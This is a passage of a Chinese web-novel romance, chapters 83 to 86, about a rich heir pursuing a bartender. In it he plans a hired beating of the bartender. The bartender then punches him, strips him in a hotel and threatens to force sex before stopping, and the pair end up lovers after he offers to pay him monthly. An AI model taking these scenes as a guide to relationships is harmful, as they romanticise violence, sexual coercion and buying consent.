“只是口头上的道歉有什么用,”萧疏笑得恶劣,死死盯着方闻钟,说:只要方闻钟接受他的惩罚,就放过他这一次,既往不咎。 方闻钟问什么? 萧疏说我亲自给你打耳洞如何? 萧疏对每一个想坐他旁边的人说:“这里有人。” 他在等他的猎人。 对楚楚可怜的小猎人说:“疼也是你活该。” 猎物在他手下发著抖。 第83章 萧疏:“好玩吗?” 他却没真让他疼。 打耳洞的想像比打开的那一刻更可怕。 方闻钟死死抓住萧疏的手,萧疏提醒他,“要歪了。” 他闭上眼,松开萧疏,不敢抓着他,手却不由自主在前面找支撑,最终在两人都没注意的时候,他抱住萧疏的腰。 萧疏把小机器拿下来,上面的一颗银针已经穿在方闻钟耳垂上,整只耳朵红红的,没有出血,似乎也没那么疼。 方闻钟睁开眼,可可怕的等待期,让他明白,他甘愿在萧疏手下承受这一切,一边用着强迫的手段逼萧疏,一边又似萧疏才是可以伤害他的人。 他的脆弱和听话,好像让萧疏不生气了,不跟他计较他之前的行为了,方闻钟松了一口气,然后,他耳朵上就戴上了和萧疏一样的耳钉。 虽然萧疏一直没戴,但他收下了。 方闻钟每日消毒,藉机跟萧疏打视频,汇报耳朵上的伤口。 萧疏显示屏对着天花板,不知道有没有听他说话,在不在意他,倒是没有挂断过。 方闻钟迷上了在萧疏学校见他的机会,因为那里人人都会说,他们是男朋友关系。 可是萧疏放暑假了。 他不用去学校了,经常在酒吧或白鲸馆兼职。 方闻钟有点不知足,一出学校,他和萧疏就恢复冷淡的关系。 耳钉被杨钧泽和何煜好好调侃了一番,杨钧泽取笑,“不是最怕疼吗?还挺好看的,”他冲方闻钟吹了个口哨。 小少爷长得不差,一身霸道张扬又蠢蠢的气质,独独惹人愿意跟他亲近,做朋友。 但他还是在心里嘀咕,方闻钟能让萧疏亲手给他打耳洞,忍过了恐惧,怕是心里真将那主唱当做恋爱对象了。 看到杨钧泽凑近摸了一把方闻钟的耳朵,方闻钟甩脑袋,何煜翻白眼,“别碰他,他现在身心都属于萧疏呢,”他是反唇相讥。 方闻钟听不出来好坏,还同意点头,“嗯,你别摸我。” 气得何煜呼吸都不稳了。 这天,刘蔚突然发给方闻钟一个视频,视频里,萧疏在另一家纸醉金迷的酒吧,兼职调酒师。 时间正傍晚,酒吧没多少人,他摇晃着手臂,然后将调好的酒用两根手指推过去,微笑着摆在男人面前。 男人一身黑色西服,只看背影非富即贵,总之一下就把小少爷方闻钟比下去了。 视频到这里就结束了,方闻钟自从看过后就心里憋闷着,很难受,何煜看出来不对劲问他怎么了,他顺手让他也看视频。 何煜蹙着眉看完,第一句话却是说:“你知道那家酒吧什么情况吗?” 方闻钟转头。 “圈子里同好开的,里面各路货色都有,但无一列外,能进去的人,都比那家清吧的客人有钱有势,”有些背后的家世,甚至能和方家媲美,所以萧疏去那样的场合,有何居心? 或者说,他在那里招惹或吸引到什么人,就真不是清吧里可以随随便便处置的了,也就不是方闻钟动动嘴皮子就能轻易解决的。 方闻钟只在乎萧疏被别人和他一样喜欢上,耍一样的手段! 他一下要站起来,去找他! 何煜拉住他胳膊,“喂,你真确定他不是去找金主的?呵,说不定和你亲过之后,萧疏发现除了富婆,性别可以放松?” 方闻钟又气又恼,“胡说八道!”他转身就往萧疏的新酒吧跑。 他有了新工作,他都不知道,都怪他最近太放松了,都没有好好查他。 方闻钟到时,已经是晚上的七点多,进来就看到萧疏用从没有对他展露过的笑容招待着每一个看他调酒,与他攀谈的顾客,然后在顾客意味不明的眼神中,镇定自若地将酒推过去,介绍。 方闻钟也坐在萧疏面前。 萧疏抬眸看了一眼,“喝什么?” 方闻钟今日穿着潇洒帅气,和耳钉相得益彰,可他的心情就没那么从容了,他拧着眉,脸上的不开心太明显,“你为什么来这里?你都不告诉我?” 萧疏放下杯子,修身的马甲显得他腰身极其好看尊贵,他出言不逊,“你是我爹?我什么都要跟你汇报?” 话糙理不糙,方闻钟屁股挪了挪,是这个道理,于是换个话题,“要一杯烈酒。” 他知道萧疏知道他不太能喝,就看萧疏要怎么办,谁料萧疏压根没犹豫,眼看着一大杯烈酒倒进去,他才开始随意调,方闻钟慌了,“你知道我不能喝!” 萧疏将做好的酒放他面前,手却指了指旁边,“先买单,还要喝什么?” 方闻钟一时生气,都想把所有能点的酒都点了,看他做!折磨萧疏!反正他又不是买不起单。 最后还是怕萧疏适得其反,他们又像高尔夫球场之后那样,方闻钟受不了,终于忍下了萧疏的不客气。 他委屈地趴在台上,盯着萧疏的手臂,“我不会喝酒,只来一点点带酒味的,要好看的颜色,”他老实提出要求。 萧疏按需给他做。 方闻钟抿了抿带点酸涩和甜味的冰酒,还算合口味,萧疏却已经招待下一个顾客了。 方闻钟一直盯着他工作,发现他对很多人都会笑,笑起来的萧疏帅气极了,可是他不会对自己笑,他眼看着一个男人将一枚金币扔在萧疏面前,萧疏接过来。 男人走了之后,才发现那是个纯金的打火机,方闻钟长见识了,金币前后搓开,冒出小小火苗。 萧疏连对那样的男人都会笑,却唯独对他吝啬。 他直起身,“你喜欢金子吗?我送你更多!” 萧疏一下不笑了,萧疏今晚的工作到九点就结束,和别人换班,方闻钟跟着他出去,看到他对路过的流浪猫,都会停下来手指蹭蹭,哄一下,然后绕开。 方闻钟很贪恋他那温柔的神情,可是知道萧疏心里,他连一只流浪猫都比不过。 为什么?因为萧疏虽然对他服软了,对他的追求遇招接招,可是实际上根本不喜欢他吗? 方闻钟接受不了。 他开始慢慢无法接受他和萧疏只是他一个人动心。 萧疏必须也要喜欢他才行! 他要尽早拿下萧疏,才不让别人趁人之危。 方闻钟眼神认真又凶狠地看向萧疏,等他背影彻底离开后,自己也转身回去,然后立马拉着杨钧泽和何煜,一起出谋划策,他要设计一场英雄救‘美’!问这个主意怎么样? 杨钧泽哈哈大笑,他觉得方闻钟太天真,对于萧疏因此是否会感激他,对他动心,另外两说,倒是很想看热闹。 何煜也一反常态地支持他,“你这样还不够真实!”他喜欢方闻钟的计画!最好把萧疏折磨得狠狠的!看他狼狈! 不安好心的三人组给萧疏设陷阱。 而萧疏,随意将金币扔垃圾桶里,脸上的笑容不复存在,回去自己租的房子。 萧疏在酒吧里突然惹了事,他调的酒,被一个客人闹,非说他说过自己牛奶过敏了,萧疏还要给他加牛奶!害得他起一身红疹子。 客人顶着一张可怕的脸,闹得很凶,正值人多,闹起来气氛不好,有好多看好事的人。 被加了牛奶的客人,是方闻钟他们的死对头,两拨人向来不合,尤其方闻钟特别讨厌他,还知道他脾气暴躁,遇上这种事肯定会发火。 而他只需要在恰当的时候出现,将怒火转移到自己身上,自然就跟萧疏无关了,顺便他也整了人,出口气。 这是最初的计画,何煜的plus版是这样的! 方闻钟替萧疏出头,死对头还气不过,误以为萧疏和方闻钟是相好,私下里偷偷找人套萧疏麻袋,打他一顿! 然后方闻钟再带人出场!假装路过,威风凛凛地救下萧疏! 死对头是否会这样演不重要,要是没人打萧疏,他们可以自己雇人堵他! 何煜兴趣盎然,方闻钟心想,反正他能及时赶到,才不会叫萧疏让人揍,所以也就同意了这个加了保险的方案。 谁料,从一开始,就偏得离谱。 萧疏竟然自己就解决了闹事的人,和方闻钟他们一样的富二代,满脸满身红疙瘩,一边小丑似得挠痒痒,一边要叫萧疏好看。 何煜和杨钧泽偷偷在角落里瞒着人看事态发展,方闻钟在外面等着。 可是紧接着,死对头要抓住萧疏的领子发火,萧疏顺势捏住他手,不知道说了什么,死对头就火熄了一半,另一半,在一个西装男人突然出现时,也不敢冒火了。 西装男人正脸露出来,何煜才惊讶,其实他们应该都认识他,虞千铎,据说一直在国外发展,去年才回国接受家业的虞家老大。 貌似,他还是方闻钟姐姐的同学?何煜回忆着。 虞千铎替萧疏解了围,他出面,自然再闹不起来。 何煜心情不太好,不会真叫萧疏攀上别人了吧? 虞千铎他们对上,也不是能相提并论的,毕竟他们只是上面有顶头大哥或大姐的二代,而虞千铎,是正儿八经的掌权人。 方闻钟等不及了,冲进来就看到死对头哑火,虽然过敏症状很严重,他是出了气。 但转头,萧疏已经无事,虞千铎告别萧疏,先一步离开了。 发生了什么? 小少爷不懂,好友也不见了。 萧疏下班回家,不出意外被堵在一条小巷子里,他们叫嚣着,得罪了人,还想轻易就算了? 一场拳脚避免不了,方闻钟以为,打人只是做个样子,他在关键时候救下就好,可谁料,这雇来的人却是来真的,反正他们拿钱办事,吩咐的人叫他们真打,名头就是出气。 方闻钟气喘吁吁地来到小巷子里,只听到里面传来阵阵惨叫,然后重物落地的声音。 他担心坏了,一下跑进去大喊:“萧疏!我来帮你!” 举目四望,打手站着的没几个,哀嚎一片,全横七竖八地倒在地上,萧疏正捏着拳头,收回长腿。 方闻钟身后的人是来救火的,做做样子,可萧疏误以为他们也是今晚一起来堵他的,不顾方闻钟的茫然,上去,没几分钟,那夥人也被放翻了! 方闻钟猝不及防,一口气憋在心里要喊不喊,不要打了!他们不是来打你的啊! 最后一个人擦过方闻钟的肩膀被摔在他脚边,他低头一看,吓得后退了两步。 萧疏煞神般的走过来,他阴沉的脸色很白,一拳头朝方闻钟揍过去! 方闻钟惊愕地闭上眼,躲都不会躲,那拳头碰在他脸上,稍微收了点力道,可还是将方闻钟一拳打倒在地,他踉跄着,捂住痛苦的脸颊。 萧疏半跪在他身边,看他泪眼汪汪,半边腮帮子肿胀,将人提起来。 “好玩吗?” 第84章 打屁股,心形胎记。 方闻钟不敢吭声了,他不知道萧疏从哪一步看穿他的计画,知道他作祟。 肚子上又挨了一拳,方闻钟干嚎,附近就是不正规的小旅馆,被人扛进去时,方闻钟都没反应过来可能会遭遇什么。 连身份证都不需要录入的旅馆,能整洁干净到哪里去,人被重重地摔落在床上,方闻钟惊愕地忘了掉眼泪,看向萧疏。 萧疏一把顺势将人从脖子里提起来,刚动完手,他身上不知是热气还是怒火,叫方闻钟一时有点害怕瑟缩。 “不就是想搞我吗?方闻钟,想得到我干什么?” “陪你玩这他妈一眼就看穿的过家家,还是看上我的身子了想让我操|你。” “你直说啊,我不是不能答应。” “毕竟你方少爷长得不算赖,说不定上完床后还会主动给我嫖资,何苦劳心劳力找你那两个朋友演这蹩脚的把戏。” 方闻钟顿时明白了,可能是杨钧泽他们倒牛奶时,被萧疏发现了。 或者,何煜请打手时,萧疏提前听到? 总之,他们一开始就被暴露了,萧疏知道他们在作弄、耍他,不生气才怪,哪来的英雄救美,萧疏现在看起来想吃了他。 言语羞辱,不是让方闻钟最难受的,毕竟说来说去,一半真一半假。 难受的是萧疏真的想在这里对他做……不是,对他实施惩罚。 这里这么脏,这么破,方闻钟才注意到环境,一时片刻也待不住,身下的床不知被多少人睡过,而他要在这里被萧疏扒了裤子。 萧疏说:“缺男人?满足你。” 方闻钟叫着要躲,“不要!不要!萧疏,不要在这里,”他嚎得太痛苦,可在萧疏能一人打翻十几人的力量压制下,压根翻不了身。 萧疏的马甲脱在床上,他抹了头油的刘海不那么听话,纷纷随着他生气动作,落在额间摇摆。 方闻钟被弄着跪在马甲上。 腰带被扯开。 方闻钟只愿意抓住触碰萧疏的衣服,其他哪里他都嫌脏,一边被萧疏强迫一边蜷缩在屁大点的地方。 “方闻钟,今天我就让你如愿,往后少他妈再来我跟前卖弄愚蠢。” 他们咬耳朵。 裤子已经被扒掉了,方闻钟猝不及防屁股上挨了一巴掌,他害怕!害怕萧疏以为他只是馋他身子,害怕萧疏只看到他的算计手段,看不到真心喜欢,更害怕萧疏的打算…… 在这里,在这肮脏的地方,和他做一次,然后彻底让他死心放手。 他不愿意! “萧疏,”他抖着在求饶,本以为挨了那一巴掌,他甚至听到萧疏扯自己皮带扣的声音,可接下来,没了动作。 身后的人像突然静止了,什么都没干。 方闻钟跪着慢慢转头。 他看到萧疏冷漠复杂的脸色,以及一双阴郁沉默的眸子,正紧紧注视着他的后面。 方闻钟猝然想起,他屁股上,有一个不算很小的心形胎记,他在看那个? 他在嫌弃他的胎记吗? 身后抓住他腰的大手突然放开了,方闻钟惊了一下,才跪好没有倒在床上碰到别的地方,身下只有干净的马甲。 他急急忙忙提上裤子,脸上湿漉漉的通红一片,再看萧疏时,萧疏已经站在窗边,点了一根菸。 他背对着他,烟雾在他肩膀上面往上飘,让方闻钟窥到一点他的动作。 可他还是不知发生了什么,怎么突然,萧疏就放手了? 他还生气吗? “萧疏,”他小声叫,却不敢靠过去。 萧疏回头,盯着他,那根菸被他快速吸完。 透过密密的烟雾,方闻钟观察不到他的表情有什么其他变化,就是觉得,萧疏变了,他和刚才不一样了。 他好像,突然不再纠结于他骗了他,故意作弄他,想给他教训…… 萧疏的沉默,和从未有过错落的紧盯的眼神,叫方闻钟紧紧提起心,等待他不知道如何继续的发展。 “你……”萧疏出口第一个字,又突然咽下了他本来要问的话。 他又冷笑了一下。 方闻钟不知所措。 萧疏就近在一个暗红色的沙发上坐下,脱了马甲,衬衫扣子好像掉了两颗,方闻钟眼神一瞟,进门的时候,一颗扣子被他扯掉就掉在门缝那里,他隐约有记忆。 萧疏弯着腰,两只手交握着,忽然都捏了几下,“过来,”他对方闻钟说。 方闻钟亦步亦趋地过去,其实他可以直接跑,其实他可以跑了之后用更厉害的手段欺负萧疏! 萧疏竟敢这么对他! 拳脚相加!脱了他裤子在这么令人作呕的地方打他屁股,欲想强上他! 方少爷还没受过这个罪,说出去,恐怕谁都会劝他弄死萧疏,并且都觉得不过分吧。 可是方闻钟统统没有,他只有一个直觉,今天,他擅自走出这个门。 无论之后他如何强迫/打动萧疏,来硬的来软的,萧疏都不会同意和他在一起了,他们彻底完了。 萧疏是他可以一时压制的身份势力不如他的大学生,可当他真生起气来也耍手段或来硬的,方闻钟知道自己接受不了。 他走过去,接下来打也认了骂也认了,反正刚才已经经历过了不是吗。 萧疏提前不知道,钻入他的圈套,感激他的英雄救美,并为此开始动心,方闻钟会非常高兴,且自认为自己真聪明! 可当计画失败,被萧疏反将一军,他也认错,败露了就败露,方闻钟不会后悔,并因此扼腕叹息。 他试探着要抓萧疏的手,被萧疏紧紧攥住几根手指。 指尖的痛让他白了脸,僵硬地解释下去。 “我,我真的很喜欢你。” “才不是想和你上,上床,我才不是想找男人操|我。我只要你。” 话一出口,感觉有歧义,“也不是,”他不是那么立刻就想和萧疏发生关系,比起那些,他真的单纯地就想让萧疏也对他有一点点喜欢,哪怕只是对旁人不同的,一点点。 方闻钟一颗泪珠挂在睫毛上,微微模糊了眼前的男人。 他水汪汪地看萧疏,“我想让你主动接近我嘛,我想让你也对我笑,对我温柔说话,萧疏!凭什么你对别人都那么好!一只野猫你也愿意抱!” “而我,你抱我一下亲我一下像碰到了什么脏东西,我还给了你那么多钱呢!你不是喜欢钱吗!我可以给你更多!你为什么就不能对我好一点!” 他越说越委屈,方闻钟也不明白了,本来嘛,只是很喜欢这个人的长相,有那么点一见钟情的意思。 可是这才短短几日的接触下来,他竟像离谱地陷进去了,真觉得喜欢他喜欢得不得了,非他不可。 握着他手指的手更加用力,萧疏火热地看着哭着的小少爷。 “解释完了?” “嗯。” “你真觉得你这追人的方式有用?” “怎么没用?我不追你!我能见到你吗?”方少爷抬下巴,理直气壮。 “嗤,你也就嘴硬了。”被嘲笑了。 手被突然放开,手指已经因为不通血色惨白一片,方闻钟收回手,看向又滑动着火机点了烟的男人。 明明有昂贵的金币火机,方闻钟都见过,别人送他的。 现在萧疏却划拉着旅馆里廉价的,不知谁不要的塑料绿色打火机,打了几下,没出火,萧疏将烟和火机都扔了。 方闻钟只感觉到他好像在想什么很复杂的东西,尽管表面平静,但能看出来萧疏心底里不平静。 他却不明白怎么了。 “萧疏,我能包养你吗?”他尽力用最软的语气表达最真挚的自己的内心。 “我可以给你很多很多钱,你不用做那么多辛苦的工作了,我想见你,想和你说话,你能一直理我吗?” “我以后,我以后不会再像这次一样在你不知道的情况下故意设计你,或者像之前那样违背你的意愿要求你,如果我都做到了这些,你可以也有一点点喜欢我吗?” “你可以也来和我说话见我吗?” 从他说包养,表面平静内心复杂的萧疏,好像突然被他拉回这方寸之间,重回他们之间剪不断理还乱的关系。 方闻钟觉得已经很有耐心了,甚至这次如果萧疏还拒绝,他都不知道接下来该怎么办? 放弃,又不甘心,继续用强的,结果好像也不会如意。 “包养?”萧疏站起来,“一个月给多少?” 他逼着方闻钟往后退。 “一,一千万?”他所有的零花钱。 “可以,”没想到他竟听到这样的天籁。 方闻钟一下惊喜地停住脚步,想抓萧疏的胸膛。 手伸出去,被萧疏一掌将两只手全部握住,这次乖巧放他胸膛上,方闻钟低头看白色的衬衣,和他冷白的皮肤、肌肉。 “说到做到,方闻钟,以后再不经过我同意,耍少爷手段,我,”萧疏低头,垂眸,话还未说完。 方闻钟已经激动地踮起脚,“萧,萧疏!我可以吻你吗?” 最讨厌烟味的人,这次却主动急切地亲上干燥的沾染了菸草味的唇瓣,他整个人颤栗,被萧疏从后面搂着腰,方闻钟才像人生有了支撑点,大胆、放肆。 萧疏冷淡以对,但偶尔轻轻的回应,就足够让方闻钟疯狂。 方闻钟喘着气,趴在萧疏身上。 原来,原来萧疏不喜欢强硬的手段啊。 那他是不是,本来也不排斥他,本来就,有那么一点点喜欢? 才会答应。 方闻钟不知道说谈恋爱。说包养,只是觉得他可以给萧疏很多钱,但打心底里,已经认了自己和他是男朋友关系。 萧疏忽然揪了方闻钟一根头发。 方闻钟以为是错觉,抬头间,“把裤子重新脱了,”萧疏说。 第85章 众人瞩目下,嘴对嘴。(加更) 方闻钟忍着羞耻,让萧疏用手机拍了一张他屁股上的胎记照。 “做什么?” 他扭捏着,半天没回神,萧疏却已经装起手机,“好看,”他这样解释。 方闻钟看新出炉的男朋友的眼睛,不知道那是冷还是热,只觉得他整个人要被摄入其中,翻搅、逃不出来。 重新和何煜杨钧泽他们见面,方闻钟没有怪他们被萧疏发现,两人问起后续如何。 方闻钟撒了谎。 “成了!” 他特意等了几天才让脸上的伤痕消去,再出来见人,“他果然也喜欢我!他答应我包养他了!” 小少爷开心过头,说起大话! “真的?”杨钧泽有点不信,萧疏这么幼稚?肤浅? 还是单纯看上钱了啊,听到方闻钟说以后每月他姐给他的一千万零花钱都要给萧疏,杨钧泽翻白眼,这萧疏要是不答应,那才是幼稚肤浅…… 何煜更关心,“他挨揍了吗?你是不是在他被人揍得死去活来才出场救下他?” “肯定是这样!我没看错你啊,”他一脸兴奋地拍着方闻钟的肩膀,要是这样方闻钟英雄救美,萧疏‘芳心暗许’,他也就没那么生气萧疏了…… 方闻钟讪讪的,“啊,对啊,对。”就让何煜以为,他的计画成功了吧。 总不能是,萧疏早知道他们的过家家一样的蠢手段,把所有人都收拾了,甚至把小少爷也收拾了个半死吧。 结果一样过程怎么不重要! 方闻钟保持开心,反正现在萧疏答应和他在一起了。 萧疏真的答应他了,这样想时,方闻钟都还有点颤抖,他摸起电话,给萧疏打过去。 萧疏从两天前说要回家一趟,他家里比较偏远,方闻钟没仔细问,萧疏也没多说,“哦。” “那你什么时候回来啊?” “很快。” 萧疏将做亲子鉴定的双方样本,送到私立医院,听电话那头,方闻钟要亲亲。 “萧疏,你怎么还不来?” 结果要三天后才能拿到,萧疏说:“马上。” 方闻钟本来嘟囔了一下嘴唇,立马笑出来,“那我等你,给你接风洗尘,”他迫不及待道。 和萧疏的关系,很快在他们这个小圈子里传开了,富二代少爷们,知道方少追一个男人的人不少,也多少听闻他强迫人的手段,现在方闻钟如愿了,早暗地里放出消息,所以一时间,都知晓萧疏已经被他搞到手。 没见过萧疏的人,当然嚷嚷着让方闻钟拉出来见见,方闻钟也想炫耀! 他们在一起了,怎么能只有这么一点人才知道! 方闻钟恨不得昭告天下,以后谁都别想再怀着旖旎的心思接近萧疏。 酒吧里,全是混不吝的富家少爷们,他们打听,“方少,包萧疏多少钱啊?” 方闻钟说:“一千万。” 众人咋舌,想不到他这么冤大头,更想见见萧疏了。 方闻钟曾经在清吧里喝醉酒,上台大喊:“我是大傻逼,我爱萧疏!”的视频,被传了出去,在多人之间你看完手机再传给我看。 方闻钟恼羞成怒,制止不了,视频里,萧疏的身影一闪而过,虽然看起来是很帅,但没有更直观的视觉冲击,一时弄得人心痒痒。 “哈哈哈哈,方少!这么豁得出去啊!” 他们心里在嘲笑方闻钟,方闻钟却不觉得有什么,为了一个男人,自贬到这个程度,二代们更想见见人,还起哄方闻钟,“方少,这么上赶着,怕是钱花出去了,人不是你的。” “谁说的!”方闻钟听不得这个。 萧疏必须是他的。 “那他听你的话吗?”对面朋友挑眉,“叫来我们参观参观啊。” 一千万的包养对象,方闻钟说的是一个月,别人还以为一年,就这,都很高很高了!这个萧疏,会将方闻钟,当金主乖乖听话伺候,还是一如既往像视频里那样拿捏方少爷? 他们等着看好戏。 听到方闻钟说的吃饭地方,萧疏轻微皱了一下眉。 那边只是几秒钟没回应,众少爷们已经眉眼传情,意思是,你这小情儿不听你的啊……方闻钟恼怒他们!却不敢跟萧疏来硬的! 不仅如此,还得哄着点他。 “你必须来!”他先是当着大家的面,硬气了一回,转头偷偷摸摸在卫生间磨蹭,“萧疏,萧疏,我想在这里见你嘛,给你的晚餐和酒都准备好了,就是有点人多,都是我的朋友,他们不坏,就是想见见你,你,能来吗?” 听到那边关车门的声音,方闻钟着急了,害怕萧疏不来!害怕他待会儿在朋友面前丢面子,好像更怕萧疏怎么突然不讲话了,是因为他又做了什么惹他生气的事吗? “萧疏!你在哪里,要不,我来找你也可以。”小少爷服软了。 他无聊地按着马桶,一次次冲水。 萧疏忽然说:“出来接我,到门口了,不让进。” “哦,啊?啊我马上来!”方闻钟立马跑出卫生间,在外面人调侃‘方少出来了’的声音中,去接萧疏! 萧疏进来时,只穿着一件简单的黑色T恤和同色牛仔裤,除了脖子里的一根链子和手上的两个戒指,没有其他任何装饰,那戒指还是方闻钟早先给他的。 可当他的眉眼抬起来,压迫人的身高,加上靡丽夺目的脸庞,所有人一时都没说出话来,惊住了,这,这也太他妈带劲了吧! 他们以为的小情儿,是哄着他们的玩物,可实际上的萧疏,方少这个包养对象,他妈的活生生像他们爹或者大哥一样视察他们来了。 面无表情,临危不乱,他随意稳当地坐在方闻钟身边,一时间,没人出口放肆,只是忍不住眼睛落他身上一直打量。 方闻钟牛气坏了,他就差在心里哈哈大笑了,长见识了吧! 抓着萧疏的手,在玩他戴戒指的手指,方闻钟一边兴奋,一边又觉得,哼,让这夥人看萧疏,多少有点不划算。 “方少介绍介绍啊,”他们推着酒,对方闻钟说。 方闻钟揽着比他高许多的萧疏的肩膀,“这是我男朋友!” “啊?不是包养的情人?”真有人不给面子这样说出来了,方闻钟看看萧疏,萧疏也只是抬眼扫了他一下,然后对这不友好的言语充耳不闻。 看到他没在意,方闻钟不知怎么,反而更有点不舒服了。 “行了行了,话怎么那么多。” 人也见着了,的确帅,也的确有本事让方少上赶着,“喂,萧疏,你不是会唱歌吗?来一首呗。” “滚!”方闻钟生气了,这种明摆着没眼色还找事的人,方闻钟才不惯着,他又不是真的蠢到没边儿了,而且,对他们对萧疏的恶意,还是非常敏感的。 一瓶开封的酒,直接甩着朝人砸过去,酒液飞溅,“爱唱你去唱。” 不敢打趣了。 其他朋友的话方闻钟会无视,杨钧泽方闻钟却会放在心里,何煜也是,他抱着胸,对方闻钟说他包养了萧疏的话不置可否。 先不谈钱多钱少,这牛逼轰轰的架子,搞不好方闻钟还真稀罕拿他当真爱呢。 何煜气到像河豚一样,“你也去上面喊我是大傻逼,我爱方闻钟,不要三句,一句就够了,”他威胁萧疏,不然,哼哼,他还会套他麻袋! 萧疏终于将眼神落在何煜和杨钧泽身上,在此之前,他来这里好像其他人都不存在,如今,对他们这项要求,好像会拒绝又好像会同意。 方闻钟已经先一步打断了,“你们也别闹了好嘛,”他苦瓜脸,对着两个朋友使眼色求饶。 他可不敢让萧疏这样做。 何煜他们实在不忍心让方闻钟为难,只能憋着气算了,方闻钟终于坐下,他和萧疏周围安静了。 没给人看成好戏,但萧疏好像对方闻钟也没那么差,他好像真的接受了一切。 接受和方闻钟在一起,无论是包养还是其他什么关系。 接风宴萧疏也吃着了,酒一口没喝,杨钧泽最后助攻,“不,不喊我是大傻逼,总要给我们方少一点甜头吧,”他大著舌头。 方闻钟不是暗暗惦记那晚的法式热吻吗,一直嘀咕忘了不记得了,“亲,亲他十分钟!我们给你鼓掌!” 他喝多了胡言乱语。 好多人又被吸引过来了,酒吧里,灯光不亮,这处卡座亦是如此,昏暗的灯光下,萧疏看到,方闻钟好像也挺期待,他不好强要求萧疏怎么做,却偷偷盯着他看他会如何说。 开始有人把灯光打在他们脸上,然后汇集的灯光越来越多。 萧疏弯腰。 他们嘴对嘴。 没有激烈亲吻,只是刚刚粘贴去。 方闻钟控制着自己没有攀上萧疏的身,他偷偷捏着拳头,刚开始还睁着眼,后来,害羞,干脆闭上了眼睛。 外界的热闹和光亮,不是方闻钟害羞的主要原因,是萧疏的对视。 让他忍不住闭眼。 萧疏却一直睁着眼看他,其他所有,好像都被他忽视。 嘴唇贴了很久,久到方闻钟身体里心里开始躁动!想要更多更亲密的给予和索取,久到看好戏的人都看到了,甚至有点齁。 萧疏才将人推开。 方闻钟有点茫然,有点失落,他左右小心环视,然后看上萧疏。 “萧,”刚想说我想你了。 “回去,”萧疏说:“回去再亲,在这里让人当猴看还不够?”拉着人站起来时,萧疏说了后半句。 只有方闻钟听到的话。 于是方闻钟的躁动、急切、迷茫,全被抚平,炫耀也炫耀够了,萧疏今晚给他面子,他也没有像往常那样不听他话,违背他意愿。 他们都说,萧疏是方闻钟的小情儿,会听金主大人的话,可方闻钟却甘愿,如果一直在一起的代价是,他从此以后听萧疏的,他也满口生应。 别人的好戏落幕。 他的夜场刚刚开始。 第86章 五颗柠檬,酸了还是硬了? 萧疏要将蓝发染回来,方闻钟听说后,立马跟上去,“我要和你一起染回来。” 他们背对着坐在理发店里,任由两个理发师叽里咕噜给他们染色,然后说话搭讪。 方闻钟从镜子里一瞬不瞬地看萧疏,他和萧疏刚刚相反,萧疏是一开始就惹人迫不及待想引起他的注意,和他说话,接待萧疏的理发师,肉眼可见的激动,后来就不敢了,在萧疏的冷漠应对下,一字不提,甚至不敢再对上萧疏的眼神,当一个专业的哑巴。 而方闻钟这边,开始理发师跟他说话较少,后来不知是看他面善可爱,还是有钱任性,纠缠着他说个不停。 当然方闻钟从头到尾当他npc,眼里只有镜子里的萧疏。 他闭上了眼,方闻钟也盯着看。 店里理发师等人早注意到他们之间的异样了,最后,萧疏付两人钱时,怀疑的目光还在他们身上游走,方闻钟终于受不了,两人的蓝发变成黑色,他看起来乖巧温顺了许多,这时却抱住萧疏的手臂,转着头自以为很自然地说:“男朋友,我们接下来去哪儿?”- “没有人会这么称呼,”到外面,萧疏这样跟他说。 “那我叫你什么,”方闻钟停下来不走了,“让他们一下就知道我们不清白,才不要一直多话……” 萧疏好像明白过来他的介意,从兜里掏出一个东西。 那晚,他们终究还是没有再亲。 方闻钟已经做好了准备,整个人身心被提起来,结果出来酒吧,萧疏就被一通电话叫走了,他好失望啊,最后依依不舍地松开人,“萧疏!你能戴上那个耳钉吗?” 他俩一样的。 萧疏掏出耳钉,方闻钟很快兴奋地主动替他戴上,他垫着脚,萧疏任由他这样吃力地动作。 好了,这下都能看出来了吧。 失去蓝毛,但有了蓝宝石同款耳钉,方闻钟被哄好了。 起先,方闻钟还有些提心吊胆,萧疏答应他的“包养”,是认真的还是? 但他承诺了萧疏要乖乖的不能再像以前一样做毫无顾忌的方少…… 萧疏要去哪里,方闻钟不敢查了,他只好乖乖跟着,像个若即若离的挂件一样。 其实算下来最近萧疏没怎么反驳过他,甚至算得上予取予求,方闻钟叫他陪吃饭,陪去哪里,他几乎都会答应,但本着小心为上的原则,大多数时候,都是方闻钟迁就萧疏的行程。 暑假里,虽然不用上课,但萧疏要做的事好像还挺多,方闻钟也算跟着更了解他。 遇到认识方闻钟的老板,不顾忌地取笑,“哟,带情人出来玩儿啊,”萧疏默不作声。 遇到萧疏的追求对象,方闻钟示威,“我们是一对哦,离远点,”萧疏任由他发挥。 一次次下来,方闻钟真感觉萧疏对他也太好了吧,他也太听话了吧,私心里想着,何煜曾说一定让他学学怎么把萧疏调教成听话帅气伺候金主大人的小宠物,方闻钟嘴上嗤之以鼻心里期待不已。 现在看来,不用调教,萧疏也快做到了啊。 除了没有伺候他。 方闻钟忍不住盯萧疏的身体。 夏日本就穿得单薄,放一开始,他敢明目张胆要求,馋萧疏身子,现在反倒不敢主动和他亲密接触了。 但亲还是想亲的。 在梦里抱着被子做完羞羞的梦后,第二天,方闻钟终于趁没人将萧疏抵在墙上,门背后。 “萧疏,我我想亲你!” “不对,”他很快改口,“我想你亲我,”并明确要求,“像我们第一次亲那样,我忘了,但你答应过我,”从酒吧回来要好好亲。 他凝眸盯着萧疏的眼睛,然后不由自主落在他唇上。 紧接着,萧疏压根没给他反应的时间,刹那间,将人翻转了顺序,方闻钟被压在墙上,两只手强硬地竖在头顶,躲都没处躲,萧疏偏着头碾上去。 亲完方闻钟已经站不稳了,要萧疏堪堪抱着才不至于坐下去,他腿软,上半身却火热,萧疏擦去自己嘴巴上的口水,看到方闻钟红艳艳的唇,忽然轻笑了一下。 像他吃掉的那朵玫瑰一样。 方闻钟从亲密中回过神来,眼睛里的活泼和亲近却越来越放肆、活跃! 他终于有了实感,他们和以前大相迳庭,萧疏,会答应亲他了,他们都很享受。 杨钧泽表姐结婚,婚礼在草坪上,都是年轻朋友,没有家里的大人,杨钧泽叫方闻钟时,方闻钟肯定会去,因为姐姐没时间,他就代表了方家,他还提起,要带萧疏。 杨钧泽不在意,“想来玩儿就一起呗,”反正表姐的朋友多,多一个帅哥说不定她更开心。 萧疏于是被方闻钟带着一起来参加婚礼了。 初来时,碰到了虞千铎,他好像在找什么人,但很快稳重地放下杯子皱眉离开了。 别人都没注意,尤其方闻钟一夥儿,萧疏看到,也当没看到,本来也就是几面之缘。 